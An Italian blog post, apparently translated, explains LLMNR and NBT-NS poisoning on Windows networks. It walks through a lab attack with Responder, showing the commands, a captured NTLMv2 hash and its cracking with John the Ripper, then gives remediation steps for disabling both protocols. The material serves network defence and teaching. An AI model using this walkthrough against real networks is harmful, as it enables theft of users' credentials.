Attacchi alla rete locale: avvelenamento da LLMNR e NBT-NS (Scritto da Jon Sternstein) e remediation (scritto da mammuth-hack)


Come può un utente malintenzionato acquisire nomi utente e password su una rete locale semplicemente aspettando che i computer li rinuncino volontariamente? Avvelenamento da LLMNR e NBT-NS!

Link-Local Multicast Name Resolution (LLMNR) e Netbios Name Service (NBT-NS) sono due componenti delle macchine Microsoft Windows. LLLMNR è stato introdotto in Windows Vista ed è il successore di NBT-NS.


Sono entrambi componenti apparentemente innocui che consentono alle macchine sulla stessa sottorete di aiutarsi a vicenda a identificare gli host quando il DNS fallisce. Quindi, se una macchina tenta di risolvere un particolare host, ma la risoluzione DNS fallisce, la macchina tenterà quindi di chiedere a tutte le altre macchine sulla rete locale l'indirizzo corretto tramite LLMNR o NBT-NS.

Questo in teoria sembra innocuo, ma apre una grande vulnerabilità che gli aggressori possono utilizzare per ottenere credenziali complete per un sistema.

Vulnerabilità
Un utente malintenzionato può ascoltare su una rete queste trasmissioni LLMNR (UDP / 5355) o NBT-NS (UDP / 137) e rispondere ad esse, fingendo così che l'attaccante conosca la posizione dell'host richiesto.  

Diamo un'occhiata a un esempio nel diagramma sottostante.  
1. La macchina vittima vuole andare al server di stampa su \\ print server, ma erroneamente digita \\ pintserver.  
2. Il server DNS risponde alla vittima dicendo che non conosce quell'host.
3. La vittima chiede quindi se c'è qualcuno sulla rete locale che conosce la posizione di \\ pintserver
4. L'aggressore risponde alla vittima dicendo che è il \\ pintserver
5. La vittima crede all'aggressore e invia il proprio nome utente e l'hash NTLMv2 all'attaccante.
6. L'aggressore può ora decifrare l'hash per scoprire la password

Diagramma di avvelenamento da LLMNR NBT-NS


Strumenti di attacco
Ci sono diversi strumenti che ti permetteranno di mettere in atto lo scenario di attacco descritto sopra. Uno degli originali è NBNSpoof di Wesley McGrew ( http://www.mcgrewsecurity.com/tools/nbnspoof/). McGrew spiega al suo sito web come creare uno strumento per eseguire tale attacco. Metasploit ha un modulo LLMNR Spoofer ausiliario / spoof / llmnr / llmnr_response ( http://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response ). Lo strumento che useremo oggi è "Responder" di SpiderLabs ( https://github.com/SpiderLabs/Responder.git ). 

1. Scarica il software Responder:  git clone https://github.com/SpiderLabs/Responder.git
2. Esegui il menu di aiuto Responder: python Responder.py -h
     Nota un paio di opzioni obbligatorie:
          -i [IP]: l'attaccante Indirizzo IP (o l'indirizzo IP a cui inviare il traffico)
          -b [0/1]: Impostalo su 1 se desideri restituire un'autenticazione HTTP di base. 0 restituirà un'autenticazione NTLM.
      Oltre a queste opzioni, ci sono molti interruttori che ti consentono di attivare o disattivare vari servizi da avvelenare: http, https, smb, sql, ftp, ldap, dns, ecc ...  

Seguiamo l'esempio nell'immagine sopra.  
1. Per impostare le cose, l'attaccante su 192.168.1.77 avvia il responder con " python Responder.py -I eth0 -wfv ".  
#python Responder.py -I eth0 7 -wfv
NBT Name Service / LLMNR Answerer 1.0.
Per terminare questo script, premi CRTL-C

[+] risponditore NBT-NS e LLMNR avviato
Set di parametri globali Il set di
sfida è: 1122334455667788 Il
server proxy WPAD è: Il
server HTTP è: ON
Il server SMB è: ON
SQL Server è: ON Il
server FTP è: ON Il
server DNS è: ON Il
server LDAP è: ON Il
modulo FingerPrint è: OFF 

2. La vittima su 192.168.1.74 cerca di accedere a \\ pintserver che non esiste .
3. La vittima chiede aiuto a chiunque sulla rete locale per identificare il \\ pintserver
4. L'aggressore risponde
5. La vittima invia le proprie credenziali all'attaccante.
Risposta avvelenata LLMNR inviata a questo IP: 192.168.1.74. Il nome richiesto era: pintserver.
[+] Hash SMB-NTLMv2 acquisito da: 192.168.1.74 Il
dominio è: WORKGROUP L'
utente è: testuser
[+] L'hash completo SMB è: testuser :: WORKGROUP:  
1122334455667788: 834735BBB9FBC3B168F1A721C5888E39: 
6. Il programma Responder memorizza le credenziali in un file nella directory locale chiamata SMB-NTLMv2-Client-192.168.1.74.txt
7. L'attaccante esegue john the ripper contro il file con il "john SMB-NTLMv2-Client-192.168.1.74.txt "e John the Ripper scopre immediatamente la password di" password1 "
#john SMB-NTLMv2-Client-192.168.1.74.txt Ha  
caricato 1 hash della password (NTLMv2 C / R MD4 HMAC -MD5 [32/64])
password1 (testuser)
ipotesi: 1 volta: 0: 00: 00: 00 FATTO (Tue Nov 12 15:56:46 2013) c / s: 114620 try: 123456 - crawford
Usa il "- Opzione -show "per visualizzare in modo affidabile tutte le password 

violate Cattura pacchetto
Diamo un'occhiata a cosa sta succedendo a livello di rete.


Acquisizione di pacchetti LLMNR

1. Puoi vedere la vittima su 192.168.1.74 che effettua una query di nome al server DNS per "pintserver".
2. Il DNS non conosce l'host.
3. La vittima quindi fa una trasmissione LLMNR per "pintserver".
4. L'aggressore a 192.168.1.77 risponde.
5. La vittima crea una connessione SMB con l'attaccante e invia l'hash del nome utente e della password.

Misure protettive
Risolvere il problema è facile.  
1. Disabilitare LLMNR e  NBT-NS. È necessario disabilitare entrambi perché se LLMNR è disabilitato, tenterà automaticamente di utilizzare NBT-NS. Vedere le istruzioni di seguito.
2. Impedisci la comunicazione tra VLAN - Limitando la comunicazione tra host sulla stessa rete, riduci notevolmente il successo della maggior parte degli attacchi alla rete locale.
3. Usa account utente limitati - Ora questo non impedirà un attacco, ma limiterà il danno che un attacco riuscito può causare e almeno farà lavorare di più un attaccante. Ad esempio, se la vittima utilizza le credenziali di "amministratore di dominio", un attacco riuscito rinuncia all'accesso a tutte le macchine sulla rete. D'altra parte, se la vittima utilizza un account limitato, l'aggressore dovrà lavorare di più per ottenere un ulteriore accesso nell'ambiente.

Per disabilitare LLMNR su Windows:
1. Fare clic su Start
2. Digitare gpedit.msc nella casella di testo 
3. Accedere a Criteri computer locale -> Configurazione computer -> Modelli amministrativi -> Rete -> Client DNS
4. Nella cartella Client DNS, fare doppio clic su " Turn Off Multicast Name Resolution""E impostalo su" Abilitato "

Turn of Multicast Name Resolution (LLMNR)

La seguente chiave di registro viene impostata sui computer quando LLMNR è disabilitato:
HKLM \ Software \ Policies \ Microsoft \ Windows NT \ DNSClient
EnableMulticast" DWORD 0

Per disabilitare NetBIOS Name Service su un singolo computer:
1. Aprire il Pannello di controllo
2. In "Rete e Internet", fare clic su "Visualizza stato e attività della rete"
3. Fare clic su "Modifica impostazioni adattatore"
4. Fare clic con il pulsante destro del mouse su "Connessione area locale" quindi fare clic su "Proprietà"
5. Fare doppio clic su "Protocollo Internet versione 4 (TCP / IPv4)", fare clic su "Avanzate" quindi fare clic sulla scheda "WINS" (Windows Internet Name Service)
6. Fare clic su "Disabilita NetBIOS tramite TCP / IP "

Disabilita NBT-NS

Per disabilitare NetBIOS Name Service su un dominio con client DHCP:
1. Vai allo snap-in DHCP
2. Vai a "opzioni di ambito" per la rete che stai modificando
3. Fai clic con il pulsante destro del mouse e Configura opzioni
4. Seleziona la scheda Avanzate e cambia " Classe fornitore "a" Opzioni Microsoft Windows 2000 ".
5. Nel frame "Opzioni disponibili", selezionare e selezionare la casella "001 Microsoft Disable Netbios Option"
6. Nel frame "Data Entry", modificare l'immissione di dati a 0x2
7. Fare clic su "OK". Le nuove impostazioni avranno effetto quando i client rinnoveranno i loro indirizzi.

Disabilita Netbios sul dominio

Disabilitazione di NetBios tramite configurazione DHCP 


Remediation:

LLMNR e NetBIOS sono due servizi di risoluzione dei nomi integrati in Windows per aiutare i sistemi a trovare i nomi degli indirizzi da altri dispositivi sulla rete. Tuttavia, gli indirizzi dei provider di indirizzi sulla rete non vengono verificati, poiché Windows presume che chiunque sulla rete sia automaticamente considerato attendibile. Quando una richiesta DNS non riesce, Windows tenterà di chiedere ad altri dispositivi sulla rete di risolvere quell'indirizzo su LLMNR o NBT-NS.

Indirizzi di spoofing su LLMNR / NBT-NS

Per un servizio come SMB, se un host è configurato per l'autenticazione automatica su SMB, falsificando gli indirizzi su LLMNR / NBT-NS, un utente malintenzionato può facilmente acquisire le credenziali semplicemente rispondendo passivamente a ogni singola richiesta LLMNR / NBT-NS.

Responder.py

Responder è uno dei più popolari spoofer / avvelenatori LLMNR / NBT-NS disponibili. Questo programma è gratuito e open source, con il suo codice disponibile su GitHub ed è in grado di impersonare una varietà di servizi dannosi. Uno dei modi più efficaci in cui opera Responder è lo spoofing delle richieste SMB non riuscite per acquisire gli hash delle password LLMR inviati sulla rete. Un utente malintenzionato può quindi iniziare a decifrare gli hash o persino condurre un attacco pass-the-hash, se un sistema sulla rete è particolarmente vulnerabile. Sono  disponibili anche altri strumenti come il modulo spoofer Metasploit LLMNR di Rapid7 e funzionano in modo simile

Difendersi dagli attacchi LLMNR / NBT-NS

Come già specificato nell'articolo precedente in quanto misura protettiva, Il modo numero uno per proteggere un sistema dallo sfruttamento è disabilitare LLMNR e NBT-NS. Responder utilizza questi due protocolli per acquisire gli hash delle password da altri sistemi sulla rete. Assicurati che entrambi questi protocolli siano disabilitati, poiché Windows utilizza per impostazione predefinita l'altro quando l'altro fallisce / è disabilitato.

Disattivazione di LLMNR:

  1. Apri l'Editor criteri di gruppo nella tua versione di Windows
  2. Passare a Criteri del computer locale> Configurazione computer> Modelli amministrativi> Rete> Client DNS
  3. In Client DNS, assicurati che "Disattiva risoluzione nomi multicast" sia impostato su Abilitato

Disattivazione di NBT-NS:

  1. Apri le tue connessioni di rete e visualizza le proprietà della tua scheda di rete.
  2. Selezionare Protocollo Internet versione 4 (TCP / IPv4) e fare clic su Proprietà.
  3. Nella scheda Generale, fare clic su Avanzate e accedere alla scheda WINS, quindi selezionare "Disabilita NetBIOS su TCP / IP.


Commenti

Post popolari in questo blog

Crack pagina di accesso basata sul Web con Hydra in Kali Linux

Smart Working ai tempi del Covid 19